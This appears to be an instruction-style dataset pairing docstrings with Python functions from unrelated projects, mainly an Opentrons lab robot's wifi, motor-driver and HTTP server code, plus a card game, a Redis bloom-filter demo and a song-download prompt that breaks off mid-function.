res, _ = await _call(['-t', '-f', ','.join(fields), 'connection', 'show'])
found = _dict_from_terse_tabular(
fields,
res,
transformers={'type': lambda s: s.split('-')[-1],
'active': lambda s: s.lower() == 'yes'}
)
if for_type is not None:
if for_type not in CONNECTION_TYPES:
raise ValueError('typename {} not in valid connections types {}'
.format(for_type, CONNECTION_TYPES))
should_return = []
for c in found:
if c['type'] == for_type:
should_return.append(c)
return should_return
else:
return found
[INST] If there is already a connection for this ssid, return the name of
the connection; if there is not, return None.. [/INST] async def connection_exists(ssid):
nmcli_conns = await connections()
for wifi in [c['name']
for c in nmcli_conns if c['type'] == 'wireless']:
res, _ = await _call(['-t', '-f', '802-11-wireless.ssid',
'-m', 'tabular',
'connection', 'show', wifi])
if res == ssid:
return wifi
return None
[INST] Delete all connections of con_type but the one specified.. [/INST] async def _trim_old_connections(new_name, con_type):
existing_cons = await connections(for_type=con_type)
not_us = [c['name'] for c in existing_cons if c['name'] != new_name]
ok = True
res = []
for c in not_us:
this_ok, remove_res = await remove(name=c)
ok = ok and this_ok
if not this_ok:
log.warning("Could not remove wifi connection {}: {}"
.format(c, remove_res))
res.append(remove_res)
else:
log.debug("Removed old wifi connection {}".format(c))
return ok, ';'.join(res)
[INST] Configure a connection but do not bring it up (though it is configured
for autoconnect).
Only anticipated failures are treated that way - for instance, an ssid
that doesn't exist will get a False and a message; a system where nmcli
is not found will raise a CalledProcessError.
The ssid is mandatory. If security_type is 'wpa-psk', the psk must be
specified; if security_type is 'none', the psk will be ignored.
If security_type is not specified, it will be inferred from the specified
arguments.. [/INST] async def configure(ssid,
security_type=None,
psk=None,
hidden=False,
up_retries=3):
if None is security_type and None is not psk:
security_type = 'wpa-psk'
if security_type and security_type not in SUPPORTED_SECURITY_TYPES:
message = 'Only security types {} are supported'\
.format(SUPPORTED_SECURITY_TYPES)
log.error("Specified security type <{}> is not supported"
.format(security_type))
return False, message
already = await connection_exists(ssid)
if already:
_1, _2 = await _call(['connection', 'delete', already])
configure_cmd = ['connection', 'add',
'save', 'yes',
'autoconnect', 'yes',
'ifname', 'wlan0',
'type', 'wifi',
'con-name', ssid,
'wifi.ssid', ssid]
if security_type:
configure_cmd += ['wifi-sec.key-mgmt', security_type]
if psk:
configure_cmd += ['wifi-sec.psk', psk]
if hidden:
configure_cmd += ['wifi.hidden', 'true']
res, err = await _call(configure_cmd)
uuid_matches = re.search(
"Connection '(.*)'[\s]+\(([\w\d-]+)\) successfully", res)
if not uuid_matches:
return False, err.split('\r')[-1]
name = uuid_matches.group(1)
uuid = uuid_matches.group(2)
for _ in range(up_retries):
res, err = await _call(['connection', 'up', 'uuid', uuid])
if 'Connection successfully activated' in res:
_1, _2 = await _trim_old_connections(name, 'wireless')
return True, res
else:
return False, err.split('\r')[-1]
[INST] Remove a network. Depending on what is known, specify either ssid
(in which case this function will call ``connection_exists`` to get the
nmcli connection name) or the nmcli connection name directly.
Returns (True, msg) if the connection was deleted, (False, msg) otherwise.. [/INST] async def remove(ssid=None, name=None) -> (bool, str):
if None is not ssid:
name = await connection_exists(ssid)
if None is not name:
res, err = await _call(['connection', 'delete', name])
if 'successfully deleted' in res:
return True, res
else:
return False, err
else:
return False, 'No connection for ssid {}'.format(ssid)
[INST] Get the basic network configuration of an interface.
which_iface should be a string in IFACE_NAMES.. [/INST] async def iface_info(which_iface):
if which_iface not in IFACE_NAMES:
raise ValueError('Bad interface name {}, not in {}'
.format(which_iface, IFACE_NAMES))
default_res = {'ipAddress': None,
'macAddress': None,
'gatewayAddress': None}
fields = ['GENERAL.HWADDR', 'IP4.ADDRESS', 'IP4.GATEWAY', 'GENERAL.STATE']
res, err = await _call(['--mode', 'tabular',
'--escape', 'no',
'--terse', '--fields', ','.join(fields),
'dev', 'show', which_iface])
values = res.split('\n')
if len(fields) != len(values):
raise ValueError("Bad result from nmcli: {}".format(err))
default_res['macAddress'] = values[0]
default_res['ipAddress'] = values[1]
default_res['gatewayAddress'] = values[2]
return default_res
[INST] Runs the command in a subprocess and returns the captured stdout output.. [/INST] async def _call(cmd) -> (str, str):
to_exec = [quote(c) for c in ['nmcli'] + cmd]
cmd_str = ' '.join(to_exec)
proc = await as_subprocess.create_subprocess_shell(
cmd_str,
stdout=as_subprocess.PIPE, stderr=as_subprocess.PIPE)
out, err = await proc.communicate()
out_str, err_str = out.decode().strip(), err.decode().strip()
sanitized = sanitize_args(to_exec)
log.debug('{}: stdout={}'.format(' '.join(sanitized), out_str))
if err_str:
log.info('{}: stderr={}'.format(' '.join(sanitized), err_str))
return out_str, err_str
[INST] Filter the command so that it no longer contains passwords. [/INST] def sanitize_args(cmd) -> (str, str):
sanitized = []
for idx, fieldname in enumerate(cmd):
if idx > 0 and 'wifi-sec.psk' in cmd[idx-1]:
sanitized.append('****')
else:
sanitized.append(fieldname)
return sanitized
[INST] Parse NMCLI terse tabular output into a list of Python dict.
``names`` is a list of strings of field names to apply to the input data,
which is assumed to be colon separated.
``inp`` is the input as a string d) from nmcli
``transformers`` is a dict mapping field names to callables of the form
f: str -> any. If a fieldname is in transformers, that callable will be
invoked on the field matching the name and the result stored.
The return value is a list with one element per valid line of input, where
each element is a dict with keys taken from names and values from the input. [/INST] def _dict_from_terse_tabular(names, inp, transformers={}):
res = []
for n in names:
if n not in transformers:
transformers[n] = lambda s: s
for line in inp.split('\n'):
if len(line) < 3:
continue
fields = line.split(':')
res.append(dict([
(elem[0], transformers[elem[0]](elem[1]))
for elem in zip(names, fields)]))
return res
[INST] Unmount and remove the sqlite database (used in robot reset). [/INST] def reset():
if os.path.exists(database_path):
os.remove(database_path)
journal_path = database_path + '-journal'
if os.path.exists(journal_path):
os.remove(journal_path)
[INST] Get request will return a list of discovered ssids.. [/INST] async def list_networks(request):
res = {"list": []}
try:
networks = await nmcli.available_ssids()
except subprocess.CalledProcessError as e:
res = "CalledProcessError: {}".format(e.stdout)
status = 500
except FileNotFoundError as e:
res = "FileNotFoundError: {}".format(e)
status = 500
else:
res["list"] = networks
status = 200
return web.json_response(res, status=status)
[INST] Post request should include a json body specifying config information
. Robot will attempt to connect to this network and respond
with Ok if successful or an error code if not.
Fields in the body are:
ssid: str Required. The SSID to connect to.. [/INST] async def configure(request):
result = {}
try:
body = await request.json()
ssid = body.get('ssid')
psk = body.get('psk')
hidden = body.get('hidden')
security = body.get('security_type')
if ssid is None:
status = 400
message = 'Error: "ssid" string is required'
else:
ok, message = await nmcli.configure(ssid,
security_type=security,
psk=psk,
hidden=hidden)
status = 201 if ok else 401
result['ssid'] = ssid
except json.JSONDecodeError as e:
log.debug("Error: JSONDecodeError in /wifi/configure: {}".format(e))
status = 400
message = e.msg
except Exception as e:
log.warning("Error: {} in /wifi/configure': {}".format(type(e), e))
status = 500
message = 'An unexpected error occurred.'
result['message'] = message
log.debug("Wifi configure result: {}".format(result))
return web.json_response(data=result, status=status)
[INST] Get request will return the status of the wifi connection from the
RaspberryPi to the internet.
The body of the response is a json dict containing. [/INST] async def status(request):
connectivity = {'status': 'none',
'ipAddress': None,
'macAddress': 'unknown',
'gatewayAddress': None}
try:
connectivity['status'] = await nmcli.is_connected()
net_info = await nmcli.iface_info('wlan0')
connectivity.update(net_info)
log.debug("Connectivity: {}".format(connectivity['status']))
status = 200
except subprocess.CalledProcessError as e:
log.error("CalledProcessError: {}".format(e.stdout))
status = 500
except FileNotFoundError as e:
log.error("FileNotFoundError: {}".format(e))
status = 500
return web.json_response(connectivity, status=status)
[INST] Avahi Server Version Check, return avahi version string, eg.. [/INST] def GetVersion(self):
try:
return self.server.GetVersionString()
except dbus.DBusException:
return None
[INST] Return hostname according to the Avahi server. [/INST] def GetHostName(self):
try:
return self.server.GetHostName()
except dbus.DBusException:
return None
[INST] Return hostname according to the Avahi server. [/INST] def GetDomainName(self):
try:
return self.server.GetDomainName()
except dbus.DBusException:
return None
[INST] Return a new entry group for services. [/INST] def EntryGroupNew(self):
try:
return self.server.EntryGroupNew()
except dbus.DBusException:
return None
[INST] Execute a reset of the requested parts of the user configuration.. [/INST] async def reset(request: web.Request) -> web.Response:
data = await request.json()
for requested_reset in data.keys():
if requested_reset not in [opt['id']
for opt in _settings_reset_options]:
log.error('Bad reset option {} requested'.format(requested_reset))
return web.json_response(
{'message': '{} is not a valid reset option'
.format(requested_reset)},
status=400)
log.info("Reset requested for {}".format(', '.join(data.keys())))
if data.get('deckCalibration'):
rc.clear(calibration=True, robot=False)
if data.get('tipProbe'):
config = rc.load()
config.tip_length.clear()
rc.save_robot_settings(config)
if data.get('labwareCalibration'):
db.reset()
if data.get('bootScripts'):
if os.environ.get('RUNNING_ON_PI'):
if os.path.exists('/data/boot.d'):
shutil.rmtree('/data/boot.d')
else:
log.debug('Not on pi, not removing /data/boot.d')
return web.json_response({}, status=200)
[INST] Moves the robot to the specified position as provided by the `control.info`
endpoint response. [/INST] async def move(request):
req = await request.text()
data = json.loads(req)
target, point, mount, model, message, error = _validate_move_data(data)
if error:
status = 400
else:
status = 200
if target == 'mount':
message = _move_mount(mount, point)
elif target == 'pipette':
pipette, _ = _fetch_or_create_pipette(mount, model)
pipette.move_to((robot.deck, point), strategy='arc')
new_position = tuple(
pose_tracker.absolute(pipette.robot.poses, pipette))
message = "Move complete. New position: {}".format(new_position)
return web.json_response({"message": message}, status=status)
[INST] This initializes a call to pipette.home() which, as a side effect will:
1. Check the pipette is actually connected (will throw an error if you
try to home a non-connected pipette)
2. Re-engages the motor. [/INST] async def home(request):
req = await request.text()
data = json.loads(req)
target = data.get('target')
if target in ['robot', 'pipette']:
if target == 'robot':
robot.home()
status = 200
message = "Homing robot."
else:
mount = data.get('mount')
if mount in ['left', 'right']:
pipette, should_remove = _fetch_or_create_pipette(mount)
pipette.home()
if should_remove:
robot.remove_instrument(mount)
status = 200
message = "Pipette on {} homed successfully.".format(mount)
else:
status = 400
message = "Expected 'left' or 'right' as values for mount" \
"got {} instead.".format(mount)
else:
status = 400
message = "Expected 'robot' or 'pipette' got {}.".format(target)
return web.json_response({"message": message}, status=status)
[INST] Reads in an attached pipette's UUID
The UUID is unique to this pipette, and is a string of unknown length
String (str) with value 'left' or 'right'. [/INST] def read_pipette_id(self, mount):
if self.simulating:
res = '1234567890'
else:
res = self._read_from_pipette(GCODES['READ_INSTRUMENT_ID'], mount)
if res:
ret = {'pipette_id': res}
else:
ret = {'message': 'Error: Pipette ID read failed'}
return ret
[INST] Reads an attached pipette's MODEL
The MODEL is a unique string for this model of pipette
:return model string, or None. [/INST] def read_pipette_model(self, mount):
if self.simulating:
res = None
else:
res = self._read_from_pipette(
GCODES['READ_INSTRUMENT_MODEL'], mount)
if res and '_v' not in res:
res = res + '_v1'
elif res and '_v13' in res:
res = res.replace('_v13', '_v1.3')
return res
[INST] Submit a GCODE command to the robot, followed by M400 to block until
done. This method also ensures that any command on the B or C axis
(the axis for plunger control) do current ramp-up and ramp-down, so
that plunger motors rest at a low current to prevent burn-out.
In the case of a limit-switch alarm during any command other than home,
the robot should home the axis from the alarm and then raise a
SmoothieError. The robot should *not* recover and continue to run the
protocol, as this could result in unpredicable handling of liquids.
When a SmoothieError is raised, the user should inspect the physical
configuration of the robot and the protocol and determine why the limit
switch was hit unexpectedly. This is usually due to an undetected
collision in a previous move command.. [/INST] def _send_command(self, command, timeout=DEFAULT_SMOOTHIE_TIMEOUT):
if self.simulating:
return
command_line = command + ' ' + SMOOTHIE_COMMAND_TERMINATOR
ret_code = self._recursive_write_and_return(
command_line, timeout, DEFAULT_COMMAND_RETRIES)
ret_code = self._remove_unwanted_characters(command_line, ret_code)
if (ERROR_KEYWORD in ret_code.lower()) or \
(ALARM_KEYWORD in ret_code.lower()):
self._reset_from_error()
error_axis = ret_code.strip()[-1]
if GCODES['HOME'] not in command and error_axis in 'XYZABC':
self.home(error_axis)
raise SmoothieError(ret_code)
return ret_code.strip()
[INST] Read from an attached pipette's internal memory. The gcode used
determines which portion of memory is read and returned.
All motors must be disengaged to consistently read over I2C lines. [/INST] def _read_from_pipette(self, gcode, mount):
allowed_mounts = {'left': 'L', 'right': 'R'}
mount = allowed_mounts.get(mount)
if not mount:
raise ValueError('Unexpected mount: {}'.format(mount))
try:
self.disengage_axis('BC')
self.delay(CURRENT_CHANGE_DELAY)
res = self._send_command(gcode + mount)
if res:
res = _parse_instrument_data(res)
assert mount in res
return _byte_array_to_ascii_string(res[mount])
except (ParseError, AssertionError, SmoothieError):
pass
[INST] Move to the `target` Smoothieware coordinate, along any of the size
axes, XYZABC.
dict
dict setting the coordinate that Smoothieware will be at when
`move()` returns. `target` keys are the axis in upper-case, and the
values are the coordinate in millimeters (float)
boolean (default=False)
If set to `True`, each axis included within the target coordinate
may be homed before moving, determined by Smoothieware's internal
homing-status flags (`True` means it has already homed). All axes'
flags are set to `False` by Smoothieware under three conditions:
1) Smoothieware boots or resets, 2) if a HALT gcode or signal
is sent, or 3) a homing/limitswitch error occured.. [/INST] def move(self, target, home_flagged_axes=False):
from numpy import isclose
self.run_flag.wait()
def valid_movement(coords, axis):
return not (
(axis in DISABLE_AXES) or
(coords is None) or
isclose(coords, self.position[axis])
)
def create_coords_list(coords_dict):
return [
axis + str(round(coords, GCODE_ROUNDING_PRECISION))
for axis, coords in sorted(coords_dict.items())
if valid_movement(coords, axis)
]
backlash_target = target.copy()
backlash_target.update({
axis: value + PLUNGER_BACKLASH_MM
for axis, value in sorted(target.items())
if axis in 'BC' and self.position[axis] < value
})
target_coords = create_coords_list(target)
backlash_coords = create_coords_list(backlash_target)
if target_coords:
non_moving_axes = ''.join([
ax
for ax in AXES
if ax not in target.keys()
])
self.dwell_axes(non_moving_axes)
self.activate_axes(target.keys())
command = self._generate_current_command()
if backlash_coords != target_coords:
command += ' ' + GCODES['MOVE'] + ''.join(backlash_coords)
command += ' ' + GCODES['MOVE'] + ''.join(target_coords)
try:
for axis in target.keys():
self.engaged_axes[axis] = True
if home_flagged_axes:
self.home_flagged_axes(''.join(list(target.keys())))
log.debug("move: {}".format(command))
self._send_command(command, timeout=DEFAULT_MOVEMENT_TIMEOUT)
finally:
plunger_axis_moved = ''.join(set('BC') & set(target.keys()))
if plunger_axis_moved:
self.dwell_axes(plunger_axis_moved)
self._set_saved_current()
self._update_position(target)
[INST] In order to terminate Smoothie motion immediately (including
interrupting a command in progress, we set the reset pin low and then
back to high, then call `_setup` method to send the RESET_FROM_ERROR
Smoothie code to return Smoothie to a normal waiting state and reset
any other state needed for the driver.. [/INST] def kill(self):
log.debug("kill")
self._smoothie_hard_halt()
self._reset_from_error()
self._setup()
[INST] Function that sets log levels and format strings. Checks for the
OT_LOG_LEVEL environment variable otherwise defaults to DEBUG.. [/INST] def log_init():
fallback_log_level = 'INFO'
ot_log_level = robot.config.log_level
if ot_log_level not in logging._nameToLevel:
log.info("OT Log Level {} not found. Defaulting to {}".format(
ot_log_level, fallback_log_level))
ot_log_level = fallback_log_level
level_value = logging._nameToLevel[ot_log_level]
serial_log_filename = environment.get_path('SERIAL_LOG_FILE')
api_log_filename = environment.get_path('LOG_FILE')
logging_config = dict(
version=1,
formatters={
'basic': {
'format':
'%(asctime)s %(name)s %(levelname)s [Line %(lineno)s] %(message)s'
}
},
handlers={
'debug': {
'class': 'logging.StreamHandler',
'formatter': 'basic',
'level': level_value
},
'serial': {
'class': 'logging.handlers.RotatingFileHandler',
'formatter': 'basic',
'filename': serial_log_filename,
'maxBytes': 5000000,
'level': logging.DEBUG,
'backupCount': 3
},
'api': {
'class': 'logging.handlers.RotatingFileHandler',
'formatter': 'basic',
'filename': api_log_filename,
'maxBytes': 1000000,
'level': logging.DEBUG,
'backupCount': 5
}
},
loggers={
'__main__': {
'handlers': ['debug', 'api'],
'level': logging.INFO
},
'opentrons.server': {
'handlers': ['debug', 'api'],
'level': level_value
},
'opentrons.api': {
'handlers': ['debug', 'api'],
'level': level_value
},
'opentrons.instruments': {
'handlers': ['debug', 'api'],
'level': level_value
},
'opentrons.robot.robot_configs': {
'handlers': ['debug', 'api'],
'level': level_value
},
'opentrons.drivers.smoothie_drivers.driver_3_0': {
'handlers': ['debug', 'api'],
'level': level_value
},
'opentrons.drivers.serial_communication': {
'handlers': ['serial'],
'level': logging.DEBUG
},
'opentrons.system': {
'handlers': ['debug', 'api'],
'level': level_value
}
}
)
dictConfig(logging_config)
[INST] Builds an application including the RPC server, and also configures HTTP
routes for methods defined in opentrons.server.endpoints. [/INST] def init(loop=None):
server = Server(MainRouter(), loop=loop, middlewares=[error_middleware])
server.app.router.add_get(
'/health', endp.health)
server.app.router.add_get(
'/wifi/list', wifi.list_networks)
server.app.router.add_post(
'/wifi/configure', wifi.configure)
server.app.router.add_get(
'/wifi/status', wifi.status)
server.app.router.add_post(
'/identify', control.identify)
server.app.router.add_get(
'/modules', control.get_attached_modules)
server.app.router.add_get(
'/modules/{serial}/data', control.get_module_data)
server.app.router.add_post(
'/camera/picture', control.take_picture)
server.app.router.add_post(
'/server/update', endpoints.update_api)
server.app.router.add_post(
'/server/update/firmware', endpoints.update_firmware)
server.app.router.add_get(
'/server/update/ignore', endpoints.get_ignore_version)
server.app.router.add_post(
'/server/update/ignore', endpoints.set_ignore_version)
server.app.router.add_static(
'/logs', log_file_path, show_index=True)
server.app.router.add_post(
'/server/restart', endpoints.restart)
server.app.router.add_post(
'/calibration/deck/start', dc_endp.start)
server.app.router.add_post(
'/calibration/deck', dc_endp.dispatch)
server.app.router.add_get(
'/pipettes', control.get_attached_pipettes)
server.app.router.add_get(
'/motors/engaged', control.get_engaged_axes)
server.app.router.add_post(
'/motors/disengage', control.disengage_axes)
server.app.router.add_get(
'/robot/positions', control.position_info)
server.app.router.add_post(
'/robot/move', control.move)
server.app.router.add_post(
'/robot/home', control.home)
server.app.router.add_get(
'/robot/lights', control.get_rail_lights)
server.app.router.add_post(
'/robot/lights', control.set_rail_lights)
server.app.router.add_get(
'/settings', settings.get_advanced_settings)
server.app.router.add_post(
'/settings', settings.set_advanced_setting)
server.app.router.add_post(
'/settings/reset', settings.reset)
server.app.router.add_get(
'/settings/reset/options', settings.available_resets)
return server.app
[INST] This application creates and starts the server for both the RPC routes
handled by opentrons.server.rpc and HTTP endpoints defined here. [/INST] def main():
log_init()
arg_parser = ArgumentParser(
description="Opentrons application server",
prog="opentrons.server.main"
)
arg_parser.add_argument(
"-H", "--hostname",
help="TCP/IP hostname to serve on (default: %(default)r)",
default="localhost"
)
arg_parser.add_argument(
"-P", "--port",
help="TCP/IP port to serve on (default: %(default)r)",
type=int,
default="8080"
)
arg_parser.add_argument(
"-U", "--path",
help="Unix file system path to serve on. Specifying a path will cause "
"hostname and port arguments to be ignored.",
)
args, _ = arg_parser.parse_known_args(sys.argv[1:])
if args.path:
log.debug("Starting Opentrons server application on {}".format(
args.path))
else:
log.debug("Starting Opentrons server application on {}:{}".format(
args.hostname, args.port))
try:
robot.connect()
except Exception as e:
log.exception("Error while connecting to motor-driver: {}".format(e))
log.info("API server version: {}".format(__version__))
log.info("Smoothie FW version: {}".format(robot.fw_version))
if not ff.disable_home_on_boot():
log.info("Homing Z axes")
robot.home_z()
if not os.environ.get("ENABLE_VIRTUAL_SMOOTHIE"):
setup_udev_rules_file()
unlock_resin_updates()
web.run_app(init(), host=args.hostname, port=args.port, path=args.path)
arg_parser.exit(message="Stopped\n")
[INST] Build a fake minor package and return its path. [/INST] def build_pkg(package_name, version, in_dir=None):
if not in_dir:
td = tempfile.mkdtemp()
in_dir = os.path.join(td, package_name)
os.mkdir(in_dir)
test_setup = """
from setuptools import setup
setup(name='{0}',
version='{1}',
description='Test package',
url='http://github.com/Opentrons/opentrons',
author='Opentrons',
author_email='test@example.com',
license='Apache 2.0',
packages=['{0}'],
zip_safe=False)
""".format(package_name, version)
test_setup_file = os.path.join(in_dir, 'setup.py')
with open(test_setup_file, 'w') as tsf:
tsf.write(test_setup)
src_dir = os.path.join(in_dir, package_name)
try:
os.mkdir(src_dir)
except FileExistsError:
pass
test_code = """
print("all ok")'
"""
test_file = os.path.join(src_dir, '__init__.py')
with open(test_file, 'w') as tf:
tf.write(test_code)
cmd = '{} setup.py bdist_wheel'.format(sys.executable)
subprocess.run(cmd, cwd=in_dir, shell=True)
return os.path.join(
in_dir, 'dist',
'{}-{}-py3-none-any.whl'.format(package_name, version))
[INST] Calculate axis position for a given liquid volume.
Translates the passed liquid volume to absolute coordinates
on the axis associated with this pipette.
Calibration of the pipette motor's ul-to-mm conversion is required. [/INST] def _aspirate_plunger_position(self, ul):
model = self.name
if self.ul_per_mm:
ul_per_mm = lambda: self.ul_per_mm
else:
ul_per_mm = self._key_map_pipette_functions(model, ul, 'aspirate')
millimeters = ul / ul_per_mm()
destination_mm = self._get_plunger_position('bottom') + millimeters
return round(destination_mm, 6)
[INST] Calculate axis position for a given liquid volume.
Translates the passed liquid volume to absolute coordinates
on the axis associated with this pipette.
Calibration of the pipette motor's ul-to-mm conversion is required. [/INST] def _dispense_plunger_position(self, ul):
model = self.name
if self.ul_per_mm:
ul_per_mm = lambda: self.ul_per_mm
else:
ul_per_mm = self._key_map_pipette_functions(model, ul, 'dispense')
millimeters = ul / ul_per_mm()
destination_mm = self._get_plunger_position('bottom') + millimeters
return round(destination_mm, 6)
[INST] Returns the plunger percentage for a given volume.
We use this to calculate what actual position the plunger axis
needs to be at in order to achieve the correct volume of liquid.. [/INST] def _volume_percentage(self, volume):
if volume < 0:
raise RuntimeError(
"Volume must be a positive number, got {}.".format(volume))
if volume > self.max_volume:
raise RuntimeError(
"{0}µl exceeds pipette's maximum volume ({1}ul).".format(
volume, self.max_volume))
if volume < self.min_volume:
self.robot.add_warning(
"{0}µl is less than pipette's min_volume ({1}ul).".format(
volume, self.min_volume))
return volume / self.max_volume
[INST] Draw a card depending how many it will be drawn.. [/INST] def draw_card(deck, draw_number):
draw_copy = deck[0:draw_number]
del deck[0:draw_number]
return draw_copy
[INST] Find the card in the player's hand.. [/INST] def find_card(hand, card):
try:
if hand.index(card):
return True
except ValueError:
return False
[INST] Discard the card into play.. [/INST] def play_card(hand, card_index, discard_pile):
copied_card = hand[card_index]
if not discard_pile:
del hand[card_index]
discard_pile.append(copied_card)
elif card_compare(hand[card_index], discard_pile[-1]):
del hand[card_index]
discard_pile.append(copied_card)
[INST] Do an action depending on the top of the discard pile.. [/INST] def do_action(hand, deck, discard_pile):
top_discard_card = discard_pile[-1]
if top_discard_card == "wild-draw-4":
print("\nThe draw 4 wildcard has been played. The game will automatically draw 4 cards for you.\n")
new_4_cards = ' '.join(deck[0:4])
hand += draw_card(deck, 4)
print("The new cards are:", new_4_cards + "\n")
elif top_discard_card.endswith("draw-2"):
top_discard_card_color = top_discard_card.split("-")[0]
print("\nThe draw 2 card from the color", top_discard_card_color, "has been played. The game will \
automatically draw 2 cards for you.\n")
new_2_cards = ' '.join(deck[0:2])
hand += draw_card(deck, 2)
print("The news cards are", new_2_cards + "\n")
[INST] Refill deck from the discard pile if it runs out.. [/INST] def refill_deck(deck, discard_pile):
if deck:
return
else:
deck += random.sample(discard_pile.copy(), len(discard_pile))
discard_pile.clear()
[INST] \
This is the main function of the program.
This function will be called immediately at start of execution.. [/INST] def main():
my_deck = make_deck()
players_hands = {
"User": []
}
players_hands["Computer"] = []
players_names = list(players_hands.keys())
discard_pile = []
for player in players_hands.keys():
players_hands[player] = draw_card(my_deck, 7)
beginning = True
game_over = False
while not game_over:
for player in players_names:
refill_deck(my_deck, discard_pile)
curr_player_hand = players_hands[player]
print("It is", player + "'s", "turn\n")
if player == "User":
draw_limit = 1
if beginning:
print("Drop a card to the discard pile to start.")
else:
print("Pick the right card to drop to the discard pile.")
if discard_pile:
print("Current play:", discard_pile[-1])
for card in enumerate(curr_player_hand, start=1):
print(str(card[0]) + ":", card[1])
repeat_process = True
while repeat_process:
print("Number of cards in deck:", len(my_deck))
try:
selected_card = int(input("Select card (0 to draw, -1 to check hand and -2 to end turn): "))
except ValueError:
continue
if selected_card <= len(curr_player_hand) and selected_card >= 1:
if not discard_pile or card_compare(curr_player_hand[selected_card-1], discard_pile[-1]):
play_card(curr_player_hand, selected_card-1, discard_pile)
do_action(curr_player_hand, my_deck, discard_pile)
print(player + "'s turn has ended.\n")
repeat_process = False
else:
print("Wrong card, try again\n")
elif selected_card == 0:
if draw_limit > 0:
curr_player_hand += draw_card(my_deck, 1)
print("New card has been added to your hand ({})\n".format(curr_player_hand[-1]))
draw_limit -= 1
continue
else:
print("You can't draw anymore until your next turn!\n")
elif selected_card == -1:
print("It is", player + "'s turn")
if discard_pile:
print("Current play:", discard_pile[-1])
for card in enumerate(curr_player_hand, start=1):
print(str(card[0]) + ":", card[1])
continue
elif selected_card == -2:
print("\n" + player + "'s turn has ended\n")
repeat_process = False
else:
print("\nPlease pick a number that is shown at the screen.\n")
continue
else:
ai(player, curr_player_hand, my_deck, discard_pile)
if is_winner(player, curr_player_hand):
print(player, "has won the game!")
game_over = True
break
[INST] Update the i-th node value to x.. [/INST] def update(self, i, x):
i += self.N - 1
self.node[i] = x
while i > 1:
i >>= 1
self.node[i] = self.func(self.node[i << 1], self.node[i << 1 | 1])
[INST] Compute semi-orthogonality error (for debugging purposes).. [/INST] def orth_error(self):
orth_error = 0
for layer in [self.factor1, self.factor2]:
orth_error += layer.orth_error()
return orth_error
[INST] Check whether the context is symmetrical and whether the passed
context can be used for creating a convolution kernel with dil. [/INST] def check_valid_context(context: list) -> None:
assert len(context) == 2 or len(context) % 2 != 0, "Context length must be 2 or odd"
if len(context) == 2:
assert context[0] + context[1] == 0, "Context must be of type {-1, 1}"
else:
assert context[len(context) // 2] == 0, "The context contain 0 in the center"
if len(context) > 1:
delta = [context[i] - context[i - 1] for i in range(1, len(context))]
assert all(delta[0] == delta[i] for i in range(1, len(delta))), \
"Intra context spacing must be equal!"
[INST] Check if all the dependencies required by this application are installed. [/INST] def check_app_dependencies(self, deps):
if not deps:
return True
for dep in [x.strip() for x in deps.split(',') if x != ""]:
try:
app = ONOSApp.objects.get(app_id=dep)
if not app.backend_code == 1:
return False
except IndexError:
return False
return True
[INST] Never acquire a ServiceInstance on the ONOS Service,
those are ONOS apps, simply return true. [/INST] def acquire_service_instance(self, subscriber_service_instance):
return True
[INST] In the case of the ONOS service there are no links between ServiceInstances and ONOSApps,
so alway return an empty list. [/INST] def validate_links(self, subscriber_service_instance):
return []
[INST] A quick and dirty way to reset Redis for the demo.. [/INST] def reset_app():
r_client = RedisConn().get_client()
current_keys = r_client.keys("*")
for key in current_keys:
r_client.delete(key)
return True
[INST] Keyword arguments:
bf -- the bloom filter
pw -- the password to add
boolean indicating success
AssertionError on None value args. [/INST] def add_password_bloom_filter(bf, pw):
return str(add_to_bloom_filter_format_result(bf, pw))
[INST] Checks a list of grandma's passwords to see how many of her passwords were unique.
Keyword Arguments:
passwords -- a list of passwords
percent_error -- the error rate (default to .2 or 20%). [/INST] def check_passwords(passwords=GRANDMA_PASSWORDS, error_rate=.2):
r_client = RedisConn().get_client()
grandma_bloom_filter = "gbloom"
grandma_set = "gset"
r_client.delete(grandma_bloom_filter)
r_client.delete(grandma_set)
r_client.bf().create(grandma_bloom_filter, error_rate, 50)
set_unique_count = 0
bf_unique_count = 0
check_results = list()
for password in passwords:
unique_to_bf = is_unique_bloom_filter(grandma_bloom_filter, password)
add_bloom_filter(grandma_bloom_filter, password)
if unique_to_bf:
bf_unique_count += 1
unique_to_set = is_unique_set(grandma_set, password)
add_set(grandma_set, password)
if unique_to_set:
set_unique_count += 1
password_results = RESULTS(password, unique_to_bf, unique_to_set, bf_unique_count, set_unique_count)
check_results.append(str(password_results))
return {
"unique_count_set": set_unique_count,
"unique_count_bf": bf_unique_count,
"total_count": len(passwords),
"check_results": check_results
}
[INST] Adds items to specified set and formats return as boolean.
Keyword arguments:
set_name -- the set name
item -- the item to add
Boolean indicating success
AssertionError on None value args. [/INST] def add_to_set_format_result(set_name, item):
result = add_set(set_name, item)
return result == ITEM_ADDED_SUCCESSFULLY_SET
[INST] Converts Redis results to boolean representing if item was unique (aka not found).
Keyword arguments:
set_name -- the set
item -- the item to check. [/INST] def is_unique_set(set_name, item):
result = is_in_set(set_name, item)
return result == ITEM_NOT_FOUND_IN_SET
[INST] Adds items to specified bloom filter and formats return as boolean.
Keyword arguments:
bloom_filter -- the bloom filter
item -- the item to add
boolean indicating success
AssertionError on None value args. [/INST] def add_to_bloom_filter_format_result(bloom_filter, item):
result = add_bloom_filter(bloom_filter, item)
return result == ITEM_ADDED_SUCCESSFULLY_BLOOM_FILTER
[INST] Checks for item in specified bloom filter.
Keyword arguments:
bloom_filter -- the bloom filter
item -- the item to check. [/INST] def is_in_bloom_filter(bloom_filter, item):
assert bloom_filter is not None
assert item is not None
r_client = RedisConn().get_client()
return r_client.bf().exists(bloom_filter, item)
[INST] Converts Redis results to boolean representing if item was unique (aka not found).
Keyword arguments:
bloom_filter -- the bloom filter
item -- the item to check. [/INST] def is_unique_bloom_filter(bloom_filter, item):
result = is_in_bloom_filter(bloom_filter, item)
return result == ITEM_NOT_FOUND_IN_BLOOM_FILTER
[INST] Prompts user for API keys, adds them in an .ini file stored in the same
location as that of the script. [/INST] def add_config():
genius_key = input('Enter Genius key : ')
bing_key = input('Enter Bing key : ')
CONFIG['keys']['bing_key'] = bing_key
CONFIG['keys']['genius_key'] = genius_key
with open(config_path, 'w') as configfile:
CONFIG.write(configfile)
[INST] Prompts for song number from list of songs. [/INST] def prompt(youtube_list):
option = int(input('\nEnter song number > '))
try:
song_url = list(youtube_list.values())[option - 1]
song_title = list(youtube_list.keys())[option - 1]
except IndexError:
log.log_error('Invalid Input')
exit()
system('clear')
print('Download Song: ')
print(song_title)
print('Y/n?')
confirm = input('>')
if confirm == '' or confirm.lower() == 'y':
pass
elif confirm.lower() == 'n':
